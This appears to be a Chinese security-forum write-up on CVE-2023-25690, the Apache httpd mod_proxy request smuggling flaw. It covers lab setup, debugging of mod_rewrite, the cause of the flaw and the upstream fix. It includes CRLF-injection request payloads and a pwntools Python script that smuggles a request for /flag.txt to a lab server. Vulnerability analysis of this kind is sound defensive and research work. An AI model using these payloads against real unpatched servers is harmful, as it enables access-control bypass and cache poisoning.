问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
CVE-2023-25690 Apache HTTP Server 请求走私漏洞 分析与利用
渗透测试
漏洞分析
CTF
Apache HTTP Server 版本 2.4.0 到 2.4.55 上的某些 mod_proxy 配置允许 HTTP 请求走私攻击。 启用 mod_proxy 以及特定配置的 RewriteRule 或 ProxyPassMatch 模块时,当规则与用户提供的URL的某些部分匹配时,会因为变量替换从而造成代理请求目标错误 此漏洞会造成请求拆分和走私,引起权限绕过,缓存投毒等攻击
Apache HTTP Server 请求走私漏洞 CVE-2023-25690 ======================================== 漏洞描述 ---- Apache HTTP Server 版本 2.4.0 到 2.4.55 上的某些 mod\_proxy 配置允许 HTTP 请求走私攻击。 启用 mod\_proxy 以及特定配置的 RewriteRule 或 ProxyPassMatch 模块时,当规则与用户提供的URL的某些部分匹配时,会因为变量替换从而造成代理请求目标错误 例如以下配置 ```php RewriteEngine on RewriteRule "^/here/(.*)" "http://example.com:8080/elsewhere?$1"; [P] ProxyPassReverse /here/ http://example.com:8080/ ``` 此漏洞会造成请求拆分和走私,引起权限绕过,缓存投毒等攻击 影响版本 ---- 2.4.0 <= Apache HTTP Server <= 2.4.55 环境搭建 ---- 操作系统使用 Ubuntu 20.04 ### 安装依赖 安装依赖,包括我们编译软件所需要的build-essential,以及调试C程序所需要的gdb,以及Apache所依赖的几个第三方库: ```sh sudo apt-get install build-essential gdb sudo apt-get install --no-install-recommends libapr1-dev libaprutil1-dev libpcre3-dev ``` ### 下载源码 去apache官网下载2.4.55版本源码,[Index of /dist/httpd (apache.org)](https://archive.apache.org/dist/httpd/) 还要下载apr-1.7.2和apr-util-1.6.3的源码, [Index of /apr (apache.org)](https://dlcdn.apache.org/apr/) 解压 ```sh tar -xvzf httpd-2.4.55.tar.gz tar -xvzf apr-1.7.2.tar.gz tar -xvzf apr-util-1.6.3.tar.gz ``` ### 编译安装 编译安装apr,要开启调试,我们在编译时需要制定环境变量CFLAGS="-g" ```sh CLFAGS="-g" ./configure --prefix=/root/workspace/apache-bin/apr make make install ``` 编译安装apr-util,指定apr路径 ```sh CLFAGS="-g" ./configure --prefix=/root/workspace/apache-bin/apr-util --with-apr=/root/workspace/apache-bin/apr make make install ``` 编译安装httpd,指定apr路径和apr-util路径 ```sh CFLAGS="-g" ./configure --prefix=/root/workspace/apache-bin/httpd --with-apr=/root/workspace/apache-bin/apr --with-apr-util=/root/workspace/apache-bin/apr-util make make install ``` ### 远程调试配置 进入/root/workspace/apache-bin/httpd目录,安装vscode的cpp扩展 然后添加launch.json配置文件 ```json { "version": "0.2.0", "configurations": [ { "name": "httpd-2.4.55", "type": "cppdbg", "request": "launch", "program": "/root/workspace/apache-bin/httpd/bin/httpd", "args": ["-X", "-DFOREGROUND"], "stopAtEntry": false, "cwd": "/root/workspace/apache-bin/httpd", "environment": [], "externalConsole": false, "MIMode": "gdb", "setupCommands": [ { "description": "Enable pretty-printing for gdb", "text": "-enable-pretty-printing", "ignoreFailures": true } ] } ] } ``` 其中,program是我们需要调试的二进制文件,我这里就是bin/httpd args是运行时传递的参数,我传了两个参数,`-DFOREGROUND`的作用是让Apache运行在前台。`-X`的作用是只启动一个进程,Apache本身是一个多进程的Web服务器,调试的时候会产生干扰,所以指定-X非常重要。 cwd是指定运行时的目录 漏洞分析 ---- **httpd.conf配置** 进入/home/oyzy/workspace/apache-bin/httpd 修改conf/httpd.conf,开启添加以下模块 ```php LoadModule proxy_module modules/mod_proxy.so LoadModule proxy_http_module modules/mod_proxy_http.so LoadModule rewrite_module modules/mod_rewrite.so ``` 在8000端口开启一个反代服务 ```c <VirtualHost *:8000> ServerAdmin webmaster@localhost ServerName localhost:8000 DocumentRoot /root/workspace/apache-bin/httpd/htdocs LogLevel alert rewrite:trace3 proxy:trace8 ErrorLog /root/workspace/apache-bin/httpd/logs/error.log CustomLog /root/workspace/apache-bin/httpd/logs/access.log combined RewriteEngine on RewriteRule "^/hello/(.*)" "http://10.122.255.252/index.php?name=$1" [P] </VirtualHost> ``` 设置日志等级,记录mod\_rewrite和mod\_proxy日志 `LogLevel alert rewrite:trace3 proxy:trace8`,可以在error.log中查看 RewriteRule可以参考mod\_rewrite模块的文档 [https://httpd.apache.org/docs/2.4/mod/mod\_rewrite.html](https://httpd.apache.org/docs/2.4/mod/mod_rewrite.html) 末尾的 \[P\] 会将请求发送给mod\_proxy模块,让apache生成一个request去请求目标后端服务器,也就是这里的10.122.255.252 而漏洞就发生在mod\_rewrite.c的hook\_uri2file函数中,当我们的uri匹配到正则时,就会进行RewriteRule规则替换,然后准备一个新的请求交给mod\_proxy **正常功能** 我们可以打断点在modules/mappers/mod\_rewrite.c的4693行,然后发送如下请求包 ```php GET /hello/abc HTTP/1.1 Host: 10.7.1.16:8000 ``` 这里正在解析我们的请求,取出thisserver,port,thisurl  继续来到4717行,这里是应用rewrite规则的地方,此时左边的r->filename的值和r->uri保持一致  当经过apply\_rewrite\_list函数后,r->filename会变成`"proxy:http://10.122.255.252/index.php"`,这里的写法可以参考mod\_proxy模块,在上一篇的文章也有提到,然后我们的请求参数r->args也会被替换成`"name=abc"`,也就是配置文件中写的get传参  之后会判断r->filename是不是以`proxy:`开头  再设置r->handler为`"proxy-server"`,之后就会交给mod\_proxy处理  最后收到的响应如下 ```php HTTP/1.1 200 OK Date: Wed, 15 Mar 2023 16:29:39 GMT Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02 X-Powered-By: PHP/8.0.2 Content-Type: text/html; charset=UTF-8 Content-Length: 9 Hello abc ``` **漏洞点** 以上整个流程中,我们的可控点只有r->args,那么可以考虑从这里入手,如果我们访问的uri中带有控制字符,就有可能控制发送给mod\_proxy的请求体,从而造成请求走私,类似于CRLF注入 尝试发送如下请求,uri中携带控制字符 ```php GET /hello/abc%20qqq%0d%0aABC:%20ccc HTTP/1.1 Host: 10.7.1.16:8000 ``` 经过apply\_rewrite\_list函数后,我们的r->args被设置成了`name=$1`的形式,而`$1`也就是r->uri中匹配`"^/hello/(.*)"`的部分,值得注意的是,这里的r->uri是经过了url解码的,我们的控制字符都被解析了,这里就让我们有机会进行CRLF注入  我们可以nc来接受以下最终发给后端服务器的请求包  这里的r->args,也就是阴影部分,会被直接拼接到请求报文中发给后端服务器,造成了请求走私 利用方式(无回显走私) ----------- 最终可控的部分在整个请求头的中间,我们可以在pre.txt中准备一个要走私的请求  写个脚本处理一下合成我们最终的请求,并用socket发送 ```python import urllib from pwn import * def request_prepare(): hexdata = open("pre.txt", "rb").read() # print(hexdata) hexdata = hexdata.replace(b' ', b'%20') hexdata = hexdata.replace(b'\r\n', b'%0d%0a') # print(hexdata) uri = b'/hello/abc%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aUser-Agent:%20curl/7.68.0%0d%0a%0d%0a' + hexdata + b'GET%20/flag.txt' req = b'''GET %b HTTP/1.1\r Host: 10.7.1.16:8000\r \r ''' % uri return req def send_and_recive(req): rec = b'' ip = '10.7.1.16' port = 8000 p = remote(ip, int(port)) p.send(req) rec += p.recv() print(rec.decode()) p.close() return rec.decode() req = request_prepare() print(req) # print(urllib.parse.unquote(req.decode())) f = open('req.txt', 'wb') f.write(req) f.close() res = send_and_recive(req) f = open('res.txt', 'wb') f.write(res.encode()) f.close() ``` 记录请求包和响应包   在实际利用过程中,会发现这里的走私,没有产生响应队列中毒的效果,收到的请求始终是我们请求包中的第一个请求的响应 可以用wireshark来分析一下具体的过程,这一次请求一共有四个http包  1. 客户端发送给代理服务器Apache的请求 2. Apache向后端服务器发起请求(这里包含三个) 3. 后端服务器给Apache的响应包(同样是三个) 4. Apache给客户端的响应(只有第一个响应) 追踪TCP流  我们的三个请求都被后端服务器处理,并且得到了三个响应,但最终只有第一个响应发送给了客户端,成功走私,但是无法看到回显 这种现象和后端服务器有关,以上使用的是Apache 2.4.39 同样测试了nginx和tomcat,虽然服务端都处理了三个请求,但最后发给客户端的都只有第一个 **nginx 1.15.11**  **tomcat 7.0.79**  本人最终只能达到无回显走私的效果,如果有师傅研究过这个问题可以和我探讨 修复分析 ---- 参考github上的修复 [don't forward invalid query strings · apache/httpd@d78a166 (github.com)](https://github.com/apache/httpd/commit/d78a166fedd9d02c23e4b71d5f53bd9b2c4b9a51)  在mod\_rewrite中对r->args进行判断,如果是控制字符则会报错 同时在mod\_proxy的几个模块中也进行一模一样的判断  在请求发给mod\_proxy后又对r->args进行了判断,无法进行CRLF注入 Reference --------- [https://httpd.apache.org/security/vulnerabilities\_24.html](https://httpd.apache.org/security/vulnerabilities_24.html) <https://github.com/apache/httpd/commit/d78a166fedd9d02c23e4b71d5f53bd9b2c4b9a51> [https://httpd.apache.org/docs/2.4/mod/mod\_rewrite.html](https://httpd.apache.org/docs/2.4/mod/mod_rewrite.html)
发表于 2023-03-23 09:00:00
阅读 ( 8110 )
分类:
漏洞分析
2 推荐
收藏
0 条评论
请先
登录
后评论
A丶R
2 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!